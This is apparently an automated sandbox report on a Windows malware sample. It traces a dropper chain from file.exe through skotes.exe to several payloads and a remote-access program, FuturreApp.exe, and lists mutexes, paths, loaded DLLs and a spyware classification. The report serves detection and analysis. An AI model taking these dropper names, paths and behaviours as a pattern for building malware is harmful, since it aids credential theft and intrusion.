Source: Joe Sandbox View	Dropped File: C:\Users\Public\Netstat\HTCTL32.DLL EDFE2B923BFB5D1088DE1611401F5C35ECE91581E71503A5631647AC51F7D796

Source: C:\Users\Public\Netstat\FuturreApp.exe

Process token adjusted: Security

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 008F80C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 009E7A00 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 009ED64E appears 66 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 009ED663 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 009ED942 appears 83 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00A08E10 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 009EDF80 appears 63 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 009E80C0 appears 263 times
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: String function: 00B7D870 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: String function: 00B7CDF0 appears 37 times
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: String function: 00B7CEC0 appears 53 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: random[1].exe0.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 855fa1aa94.exe.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9982278184604905
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982278184604905
Source: random[1].exe.5.dr	Static PE information: Section: ZLIB complexity 0.9973177975171232
Source: random[1].exe.5.dr	Static PE information: Section: uzxdwyvi ZLIB complexity 0.9946595600267777
Source: 81c86993fb.exe.5.dr	Static PE information: Section: ZLIB complexity 0.9973177975171232
Source: 81c86993fb.exe.5.dr	Static PE information: Section: uzxdwyvi ZLIB complexity 0.9946595600267777
Source: random[1].exe1.5.dr	Static PE information: Section: jjnhjgow ZLIB complexity 0.9944498462373372
Source: 977f9058dc.exe.5.dr	Static PE information: Section: jjnhjgow ZLIB complexity 0.9944498462373372
Source: random[1].exe2.5.dr	Static PE information: Section: ctknaohd ZLIB complexity 0.9940421481092437
Source: 954af05edd.exe.5.dr	Static PE information: Section: ctknaohd ZLIB complexity 0.9940421481092437

Source: 10.2.855fa1aa94.exe.e3a0000.4.raw.unpack, IHOLEvy0T7QhOrsMmC.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 10.2.855fa1aa94.exe.e3a0000.4.raw.unpack, p70yJbu5bF4vKhUO1a.cs	Security API names: _0020.SetAccessControl
Source: 10.2.855fa1aa94.exe.e3a0000.4.raw.unpack, p70yJbu5bF4vKhUO1a.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 10.2.855fa1aa94.exe.e3a0000.4.raw.unpack, p70yJbu5bF4vKhUO1a.cs	Security API names: _0020.AddAccessRule

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@20/30@8/7

Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe

Code function: 6_2_00B78BD0 FindResourceW,DeleteObject,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

6_2_00B78BD0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\YIFtngJ[1].exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Mutant created: \Sessions\1\BaseNamedObjects\80065eb12166c1a5
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Users\user\AppData\Local\Temp\1017824001\83c3b21a33.exe	Mutant created: \Sessions\1\BaseNamedObjects\FloppyShip

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Command line argument: sfxname	6_2_00B7C131
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Command line argument: sfxstime	6_2_00B7C131
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Command line argument: STARTDLG	6_2_00B7C131

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: 81c86993fb.exe, 00000009.00000003.2591774060.0000000005438000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2592445621.0000000005405000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 44%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 'ERtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNeV

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe "C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe"
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Process created: C:\Users\Public\Netstat\FuturreApp.exe "C:\Users\Public\Netstat\FuturreApp.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe "C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe "C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe"
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process created: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe "C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe "C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe "C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017824001\83c3b21a33.exe "C:\Users\user\AppData\Local\Temp\1017824001\83c3b21a33.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe "C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe "C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe "C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe "C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe "C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017824001\83c3b21a33.exe "C:\Users\user\AppData\Local\Temp\1017824001\83c3b21a33.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Process created: C:\Users\Public\Netstat\FuturreApp.exe "C:\Users\Public\Netstat\FuturreApp.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process created: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe "C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: pcicl32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: pcichek.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: pcicapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: pcihooks.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: riched32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: pciinv.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: urlmon.dll	Jump to behavior
